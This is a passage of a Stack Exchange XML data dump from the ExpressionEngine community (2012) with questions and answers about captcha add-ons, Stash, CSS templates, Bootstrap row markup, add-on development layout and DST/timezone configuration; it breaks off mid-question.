  <row Id="73" PostTypeId="2" ParentId="71" CreationDate="2012-11-17T21:46:39.497" Score="35" Body="&lt;p&gt;I would recommend using either &lt;a href=&quot;http://devot-ee.com/add-ons/snaptcha&quot;&gt;snaptcha&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/hon-ee-pot-captcha&quot;&gt;honeepot&lt;/a&gt; as they are both unobtrusive captchas that the end user never sees. They are also very very effective.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-17T21:46:39.497" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="74" PostTypeId="2" ParentId="21" CreationDate="2012-11-17T21:48:21.797" Score="10" Body="&lt;p&gt;&quot;I am using Stash only recently and was wondering how the performance is boosted over using embeds? I know there are a few less queries used in general, and I know you can subvert the parse order, but is there better reason to use it in templates?&quot; Those were some of my own questions and with a couple of podcast from Lea Alcantara and Emily Lewis I got them solved:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for Adrienne Travis's &lt;a href=&quot;http://ee-podcast.com/episodes/stash-template-partials&quot;&gt;http://ee-podcast.com/episodes/stash-template-partials&lt;/a&gt; and Mark Croxton's (Stash developer) &lt;a href=&quot;http://ee-podcast.com/episodes/add-on-development-with-mark-croxton&quot;&gt;http://ee-podcast.com/episodes/add-on-development-with-mark-croxton&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="102" LastActivityDate="2012-11-17T21:48:21.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="75" PostTypeId="2" ParentId="70" CreationDate="2012-11-18T03:06:22.303" Score="3" Body="&lt;p&gt;So it turns out to be a server issue where GD support hadn't been enabled in PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabled that, kept the same code and we're golden :-)&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2012-11-18T03:06:22.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="76" PostTypeId="2" ParentId="33" CreationDate="2012-11-18T12:59:11.983" Score="4" Body="&lt;p&gt;I too might go for the &lt;code&gt;{switch}&lt;/code&gt; method. But I would also question if using Bootstrap's CSS classes are the best way to mark up your page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you considered using their LESS classes? You could then possibly keep your EE and HTML as separated from the design as this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section id=&quot;section-name&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;channel_name&quot; dynamic=&quot;no&quot;}&#xA;        &amp;lt;article&amp;gt;&#xA;            Your stuff goes here&#xA;        &amp;lt;/article&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then within your stylesheet perhaps something like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#section-name {&#xA;    article {&#xA;        .span(2); // load GS - never used Bootstrap so may be incorrect syntax&#xA;&#xA;        &amp;amp;:nth-child(even):after {&#xA;            .clearRow(); // call our clearRow mixin after every 2nd article which emulates ending the row class&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;// Our clear row mixin&#xA;.clearRow(){&#xA;    content: &quot;&quot;;&#xA;    display: block;&#xA;    clear: left;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It may or may not work. But if it does it'd certainly separate your styles from your markup. Something that I dislike about Bootstrap using CSS is it's reliance on obscure classes and unnecessary syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another small win of this method is that it is marginally less for ExpressionEngine to process and by having the clearRow mixin in LESS you could apply this method on any channel and any template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course it relies on a certain level of browser compliance, which is the trade-off.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2012-11-18T12:59:11.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="77" PostTypeId="2" ParentId="27" CreationDate="2012-11-18T13:14:13.430" Score="1" Body="&lt;p&gt;We use 'Default' as our control panel theme and override it. We keep the same theme on all of our clients sites, and often make improvements and enhancements to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To aid with this, we adopt the NSM_override method of simply importing an external CSS file from override.css but go a step further by actually hosting it elsewhere (in our case a special domain where we keep this kind of stuff).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@import url(&quot;http://topsecret.com/custom_cp/loader.css&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way it takes seconds to add to a new site and all of our sites get improvements at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's never popped up, but if a client wanted their own bespoke changes we would probably import our loader.css as normal but then continue our overrides below, so for example....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@import url(&quot;http://topsecret.com/custom_cp/loader.css&quot;);&#xA;&#xA;body {&#xA;    background: green;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of this is a round-about way of saying that you don't need to comply with the EE file structure to manage your custom themes. You can continue to use EllisLab's images by simply referencing their standard location or you can use your own. Because everybody has 'Default' there's no need to re-distribute.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2012-11-18T13:14:13.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="78" PostTypeId="2" ParentId="71" CreationDate="2012-11-18T16:33:31.487" Score="8" Body="&lt;p&gt;I like Sean's suggestions, but if you are avoiding CAPTCHA simply because they can be difficult to enter in for a user, &lt;a href=&quot;http://devot-ee.com/add-ons/accessible-captcha&quot;&gt;check out Accessible CAPTCHA&lt;/a&gt; to see if it will suit your needs. You can set up a series of questions that will be picked at random instead, that a user has to answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used it on sites and have had some fun having the questions be &quot;on brand&quot; for the site. &lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2012-11-18T16:33:31.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="79" PostTypeId="2" ParentId="71" CreationDate="2012-11-18T17:20:52.787" Score="2" Body="&lt;p&gt;I released a (free) &lt;a href=&quot;http://www.vayadesign.net/software/freeform-antispam&quot; rel=&quot;nofollow&quot;&gt;anti-spam addon for Freeform&lt;/a&gt; which a) adds a honeypot field and b) checks the submission's IP address against a few blacklists. You might want to give it a try - I've used it to mostly eliminate spam submissions on several sites.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-11-18T17:20:52.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="80" PostTypeId="1" AcceptedAnswerId="118" CreationDate="2012-11-18T18:29:21.630" Score="4" ViewCount="959" Body="&lt;p&gt;Has anyone see then before?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: set_error_handler() expects the argument (_exception_handler) to be a valid callback in /home/nginx/domains/xxx.com/ee_core/codeigniter/system/core/CodeIgniter.php on line 63&#xA;Fatal error: Call to undefined function is_php() in /home/nginx/domains/xxx/ee_core/codeigniter/system/core/CodeIgniter.php on line 65&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since last night, all URLs on the site suddenly started returning that message. I can't access the CP, either. From looking at the code in CodeIgniter.php, it looks like the missing functions are all in Common.php, which is included at the top of the file. Any reason CI would be unable to run the included code? (Yes, I checked permissions already....)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="93" LastActivityDate="2012-11-20T19:56:11.830" Title="CI is not including its PHP files properly?" Tags="|codeigniter|php|error|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="81" PostTypeId="2" ParentId="33" CreationDate="2012-11-18T18:57:30.200" Score="3" Body="&lt;p&gt;My approach to handling this issue is to use the &lt;a href=&quot;http://devot-ee.com/add-ons/surgeree&quot; rel=&quot;nofollow&quot;&gt;SurgerEE&lt;/a&gt; addon which provides (among many other useful things) modulo operator support via a plugin call, so you can then do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;{exp:channel:entries channel=&quot;channel_name&quot; dynamic=&quot;no&quot;}&#xA;  &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;    ...&#xA;  &amp;lt;/div&amp;gt;&#xA;{if '{exp:surgeree:modulo numerator=&quot;{count}&quot; denominator=&quot;2&quot;}' == 0 &amp;amp;&amp;amp; count == total_results}&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- /row --&amp;gt;&#xA;  &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;{/if}           &#xA;{/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--//.row--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While in general I'd always tend to prefer solutions that don't require third party code, here I think there's a real benefit in the increased readability of your code (both for others and for yourself at a later date). &lt;code&gt;{switch='||&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;row&quot;&amp;gt;'}&lt;/code&gt; works and is native functionality, but is not hugely intuitive and hard to scan, whereas &lt;code&gt;{exp:surgeree:modulo}&lt;/code&gt; is very explicit, and makes it super clear what this code is doing.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-11-19T10:01:11.353" LastActivityDate="2012-11-19T10:01:11.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="82" PostTypeId="2" ParentId="71" CreationDate="2012-11-18T21:17:30.087" Score="3" Body="&lt;p&gt;Not sure of any other ways of preventing forms to be submitted without a captcha, Sean's idea sounds great though and definitely worth looking into. But you can always go with RECAPTCHA if you really need to use a CAPTCHA. I hate them (as most people probably do) but here's the link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/recaptcha&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/recaptcha&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's ADA compliant, your visitors help translate books and its probably the most popular. Snaptcha would do the trick as well, but I personally think that if you need a captcha (which I hate :)) then go with RECAPTCHA :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh and it's completely FREE too!!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2012-11-18T21:17:30.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="83" PostTypeId="2" ParentId="71" CreationDate="2012-11-19T03:37:13.270" Score="1" Body="&lt;p&gt;I've also created a plugin for Mollom. You can find it here. &lt;a href=&quot;https://github.com/tsmith86/EE_mollom&quot; rel=&quot;nofollow&quot;&gt;https://github.com/tsmith86/EE_mollom&lt;/a&gt;  I do need to update it though. &lt;/p&gt;&#xA;" OwnerUserId="240" LastActivityDate="2012-11-19T03:37:13.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="84" PostTypeId="2" ParentId="45" CreationDate="2012-11-19T03:55:31.853" Score="2" Body="&lt;p&gt;I would recommend looking at the database migration features of &lt;a href=&quot;https://www.heidisql.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HeidiSQL&lt;/a&gt; and &lt;a href=&quot;https://www.navicat.com/en/products/navicat-for-mysql&quot; rel=&quot;nofollow noreferrer&quot;&gt;Navicat&lt;/a&gt;. They both provide robust migration mechanisms that can synchronize the MySQL database underlying your EE instances.&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="7705" LastEditDate="2022-12-12T16:39:47.717" LastActivityDate="2022-12-12T16:39:47.717" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="85" PostTypeId="2" ParentId="41" CreationDate="2012-11-19T04:05:15.697" Score="4" Body="&lt;p&gt;I set this up by creating a &quot;themes&quot; directory inside my main repo. For instance with ProForm, my directory structure in development actually looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/public_html/ee/third_party/proform/&#xA;__notes/&#xA;__static/&#xA;config/&#xA;docs/&#xA;language/&#xA;libraries/&#xA;models/&#xA;plugins/&#xA;templates/&#xA;tests/&#xA;themes/&#xA;views/&#xA;config.php&#xA;ext.proform.php&#xA;index.html&#xA;mcp.proform.php&#xA;mod.proform.php&#xA;README&#xA;tab.proform.php&#xA;upd.proform.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have multiple directories like this, one for each add-on that I write. Each of these is it's own git repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that there is a directory here named &quot;themes&quot;. This doesn't actually end up in this location within my produced ZIP files, but is just here to keep everything in one place within the repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I create a shared themes directory which contains soft links into each add-on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cd ~/public_html/ee&#xA;$ mkdir themes&#xA;$ cd themes&#xA;$ ln -s ~/public_html/ee/third_party/proform/themes ./proform&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This directory ends up with a single linked themes directory for each add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then have multiple EE installations, one for each point release that I test with. These go into directories such as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/public_html/ee231&#xA;~/public_html/ee252&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Within each of these, I go to it's system/expressionengine/ directory and create a soft link to the main third_party directory above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cd ~/public_html/ee252/system/expressionengine&#xA;$ rm -rf third_party&#xA;$ ln -s ~/public_html/ee/third_party ./third_party&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then create a link to the themes directory which itself contains the soft links into each add-on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cd ~/public_html/ee252/themes&#xA;$ rm -rf third_party&#xA;$ ln -s ~/public_html/ee/themes/third_party ./third_party&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way, I have all of my add-ons 1) in their own repos, 2) with a simple layout including the theme directory and 3) available for easy testing in all my supported EE versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I should also note that I use a build script which assembles the actual add-on directories into the expected structure prior to zipping them up - for example, for ProForm this is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Removes all directories that start with __&lt;/li&gt;&#xA;&lt;li&gt;Moves the root into {zip_base}/system/expressionengine/third_party/proform&lt;/li&gt;&#xA;&lt;li&gt;Moves the themes/ directory into {zip_base}/themes/third_party/proform&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Finally, I also manage all of this using the excellent git-flow strategy. My build script will produce a ZIP file using this logic from any point release tagged by git-flow, and will automatically include reusable libraries or other bits that I need to assemble (such as building static documentation HTML from sources, including ProLib, etc.).&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="131" LastEditDate="2012-11-19T15:35:42.817" LastActivityDate="2012-11-19T15:35:42.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="86" PostTypeId="1" AcceptedAnswerId="87" CreationDate="2012-11-19T06:25:14.303" Score="19" ViewCount="2031" Body="&lt;p&gt;Is there an advantage/disadvantage to using a EE css template vs a standard css file? I tend to use a css directory that is separate from EE templates. I like using a css preprocessor, and I prefer not to sync my css files through the Template Manger. I am wondering if I am missing some advantage to not using a ExpressionEngine css template?&lt;/p&gt;&#xA;" OwnerUserId="244" LastActivityDate="2012-11-29T00:10:45.623" Title="EE css template vs. a standard css file?" Tags="|ee2|performance|css|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="87" PostTypeId="2" ParentId="86" CreationDate="2012-11-19T06:47:09.950" Score="27" Body="&lt;p&gt;I'd say you're not missing much at this stage in the game and if you are using preprocessors then even more reason to not use EE CSS templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, I could see if you wanted to give your clients access to edit certain colors, for example href colors, then you could build something dynamic which allowed them to edit said colors via GVs, Snippets or Low Variables etc. So the advantage would be the fact that you could use Tags (or PHP even) in a stylesheet template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from that I'm not seeing much advantages for going that route. Oh, maybe caching; I don't know to be honest on that either because, you have add-ons like &lt;a href=&quot;http://johndwells.github.com/Minimee/&quot;&gt;Minimee&lt;/a&gt; which will minify and cache your css now as well so, not really sure if there are any advantages there any longer either.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2012-11-19T06:47:09.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="88" PostTypeId="2" ParentId="86" CreationDate="2012-11-19T07:47:21.147" Score="7" Body="&lt;p&gt;The main advantage of using CSS templates over flat files (as Natetronn has mentioned) is the cache busting EE provides. EE adds a version number to the end of the file name automatically and this will flush the CSS out of browser caches each time you update the CSS. This can be highly important if your main audience is sitting behind a corporate firewall as they tend to cache for longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like it as it gives me the opportunity to edit the CSS through the EE cpanel should I need access when I don't have FTP access - such as when I don't have a laptop with me. Yet using Mountee I can still edit it in my code editor of choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other advantage is Versioning, if you have it turned on and are not using a version control system like Git.&lt;/p&gt;&#xA;" OwnerUserId="246" LastEditorUserId="104" LastEditDate="2012-11-29T00:10:45.623" LastActivityDate="2012-11-29T00:10:45.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="89" PostTypeId="2" ParentId="86" CreationDate="2012-11-19T08:00:56.020" Score="11" Body="&lt;p&gt;Very rarely will I run CSS through EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are times when it's useful as Nate has said but generally it's another load on the template parser that doesn't need to be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also generally keep my 404 page outside of EE as well because it's another db load that doesn't need to be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I never edit templates in production either.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2012-11-19T08:00:56.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="90" PostTypeId="2" ParentId="86" CreationDate="2012-11-19T08:59:35.063" Score="6" Body="&lt;p&gt;I've just used SASS for the first time on a project and I ended up with a bit of a hybrid solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had one main.css stylesheet which was generated by Compass (for all the SASS goodness). This just overwrites the EE CSS template when it generates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then had a second stylesheet dynamic.css which was used purely for stuff which the client could edit, such as background images, colours etc. This was a standard EE CSS template. The second dynamic one was pretty sparse, literally only containing the stuff that could be edited and nothing more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I kept the two files in the location in the EE file structure for no other reason than, if someone was to follow behind me, that's where they'd expect them to be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Splitting the stylesheets out into two separate ones might be a bit much for most folks, but I get really twitchy when working on massive all encompassing files which have loads of different stuff going off in them. I'd much rather keep things in there own separate box, and then combine them at the end. Which thanks to Natetronn is what Minimee looks like it's going to do for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be interested to hear if this is a totally dumb way of going about things as it is the first time I've done it, so I'm all ears if there is a much better way.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2012-11-19T08:59:35.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="91" PostTypeId="2" ParentId="33" CreationDate="2012-11-19T15:50:44.647" Score="0" Body="&lt;p&gt;You can do this using &lt;a href=&quot;http://devot-ee.com/add-ons/will-hunting&quot; rel=&quot;nofollow&quot;&gt;Will Hunting&lt;/a&gt; and it's mod() function. This will ensure that no blank row is included at the end of the output by checking if the $count variable is equal to total_results, and avoids outputting a blank row div if there are no results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:will_hunting:solve_pair}&#xA;    {$count=0}&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;channel_name&quot; dynamic=&quot;no&quot;}&#xA;            {$count=$count+1}&#xA;            {!-- we're on the first item, so output our starting row div --}&#xA;            {if {$count} == 1}&#xA;                &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            {/if}&#xA;            &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;                content&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            {!-- close the previously open row div if this is a multiple&#xA;                 of 3, or if it is the last result --}&#xA;            {if mod({$count}, 3) == 0 || {$count} == {total_results} }&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                {!-- if there are more records left, create a new row div --}&#xA;                {if {$count} != {total_results}}&#xA;                    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                {/if}&#xA;            {/if}&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- /row --&amp;gt;&#xA;{/exp:will_hunting:solve_pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="131" LastEditorUserId="131" LastEditDate="2012-11-19T15:59:51.627" LastActivityDate="2012-11-19T15:59:51.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="92" PostTypeId="1" AcceptedAnswerId="11033" CreationDate="2012-11-19T16:46:18.500" Score="15" ViewCount="1182" Body="&lt;p&gt;&lt;strong&gt;Context&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently setup EE in production and had some templates that were time-sensitive. In these templates I was using JavaScript to countdown to open a feature in case a member accessed the page in advance. The countdown was basically a difference between &lt;code&gt;{current_time}&lt;/code&gt; and an entry's Date field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was my introduction or rather re-introduction to EE's DST. In the &lt;code&gt;Admin -&amp;gt; Localization Settings&lt;/code&gt; they literally mean your server's time zone and DST settings, not the settings you want for EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem I faced:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The timing was off by an hour. I would see the correct time as desired when punching in the Date field, but the epoch time stored in the database was actually an hour behind. Yet &lt;code&gt;{current_time}&lt;/code&gt; in a template was perfectly fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Attempted fix:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My server's time is in UTC and at present DST is not in observance (I just assumed this is somehow automatic), despite changing those settings the Date field would be stored as &quot;UM5&quot; (GMT -5 or EST, the time zone for New York which is what I want) &lt;em&gt;and still be an hour behind&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Temporary fix:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading up on previous discussions I turned off localization for users and set a Super Admin's setting as the master site default. There is no longer an &quot;Honor the Daylight Saving Time setting associated with each weblog entry?&quot; setting, nor does it seem that anything gets stored associated to a channel or entry (please correct me if I'm wrong here), so this feature seems to be gone altogether. This did the trick for me in the sense I could now put a desired time as seen in YYYY-MM-DD hh:mm [AP]M format and get stored with the desired epoch value....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problems that remains:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;All previous entries' time are now behind by an hour. That is not a&#xA;problem for me at the moment, but I probably wouldn't want that to&#xA;happen. If a content editor or manager punches in a datetime, say,&#xA;November 18th at 9 AM, that time should never later on become&#xA;something different, whether 8 AM or 10 AM.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What if I want to respect users' localization settings? For now they're off and I couldn't yet determine if they're relevant or not.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I found the following post by &lt;a href=&quot;http://expressionengine.com/forums/viewthread/195956/#922322&quot; rel=&quot;nofollow&quot;&gt;post by Ryan Masuga&lt;/a&gt; (via &lt;a href=&quot;http://www.sakeyake.com/blog/expression-engine-dst-timezone-settings-set-it-and-forget-it&quot; rel=&quot;nofollow&quot;&gt;this blog entry&lt;/a&gt;) which seems very useful for dev/staging/production configs, automating enabling/disabling DST, using a config variable instead of a member's settings (&lt;a href=&quot;http://expressionengine.com/forums/viewthread/225104/&quot; rel=&quot;nofollow&quot;&gt;difference between &lt;code&gt;server_timezone&lt;/code&gt; and &lt;code&gt;default_site_timezone&lt;/code&gt;&lt;/a&gt;), but it doesn't seem like it will affect retrofitting these settings onto all previous dates when that is not desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't been exposed to how else this might be a problem so I guess for now how do you keep fields that were saved whilst DST was observed the same even while DST is no longer observed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT::&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a code sample similar to what I use for my configuration (credit to Steven &amp;amp; Adrian for the Gist) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(note it's &lt;code&gt;$config&lt;/code&gt;, not &lt;code&gt;$conf&lt;/code&gt;, don't know if the latter legacy thing has any effect)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(For timezone codes like &lt;code&gt;UM5&lt;/code&gt; below see: &lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/helpers/date_helper.html&quot; rel=&quot;nofollow&quot;&gt;Code Igniter: Date Helper: Timezone Reference&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// @link http://expressionengine.com/forums/viewthread/195956/#922322&#xA;$isDst = date('I') ? 'y' : 'n'; // or see discussion below for timezone-specific dst, not sure if it should be done given EE will make up the difference&#xA;/* @link https://gist.github.com/3969207      &#xA;$dateTime = new DateTime();&#xA;$dateTime-&amp;gt;setTimezone(new DateTimeZone('America/New_York'));&#xA;$dateTime-&amp;gt;setTimestamp(time());&#xA;$isDst = (bool)$dateTime-&amp;gt;format('I') ? &quot;y&quot; : &quot;n&quot;;&#xA;*/&#xA;$config['time_format']           = 'us';&#xA;$config['server_timezone']       = 'UTC';&#xA;$config['server_offset']         = ''; &#xA;$config['daylight_savings']      = $isDst;&#xA;$config['default_site_timezone'] = 'UM5'; // GMT - 5&#xA;$config['default_site_dst']      = $isDst;&#xA;//$config['honor_entry_dst']       = 'n'; // No longer exists&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any new date fields will be entered properly, however, existing fields will be off by one hour. The problem remains. Entries punched in while DST was on will be off by an hour while DST is off, similarly entries punched in while DST was off will be off by an hour while DST is on (albeit the other direction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do we solve the alternating 1-hour off problem?&lt;/strong&gt; The discussion on the github gist does not solve this except via manual database queries...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/blog/entry/dates-and-times-are-easy-in-expressionengine-2.6&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine 2.6 will be removing these DST issues altogether&lt;/a&gt;, which makes me wonder about upgrade issues... and we'll have to do with these config variables already in use in a bootstrap... here's to hoping their docs on the matter will be thorough/comprehensive...&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditDate="2013-05-01T18:26:43.277" LastActivityDate="2013-06-05T19:52:21.457" Title="How are we supposed to manage time and respect localization/DST in EE?" Tags="|dst|localization|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="93" PostTypeId="2" ParentId="92" CreationDate="2012-11-19T17:02:56.387" Score="2" Body="&lt;p&gt;Here's a solid work around for fixing the DST issues in EE. &lt;a href=&quot;https://gist.github.com/3969207&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/3969207&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2012-11-19T17:02:56.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="94" PostTypeId="1" AcceptedAnswerId="96" CreationDate="2012-11-19T17:14:37.403" Score="8" ViewCount="503" Body="&lt;p&gt;I remember when I was using EE 1.6.x Brandon Kelly introduced &lt;a href=&quot;http://devot-ee.com/add-ons/gypsy&quot;&gt;Gypsy&lt;/a&gt;. It was amazing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For EE 2 it seems someone was working on something similar called &lt;a href=&quot;http://devot-ee.com/add-ons/drifter&quot;&gt;Drifter&lt;/a&gt; but support for it was dropped a while ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;http://ellislab.com/feedback/entry/channel_groups&quot;&gt;suggestion was submitted to EllisLab for Channel Groups&lt;/a&gt;, but afaIk there hasn't been any news of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I want to implement some sort of metadata specific to entries but not to channels, e.g. Facebook OpenGraph data, is the only solution at present to manually create Channel field groups and fields per channel??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there no contemporary Gypsy-like add-on or Channel Groups feature in the 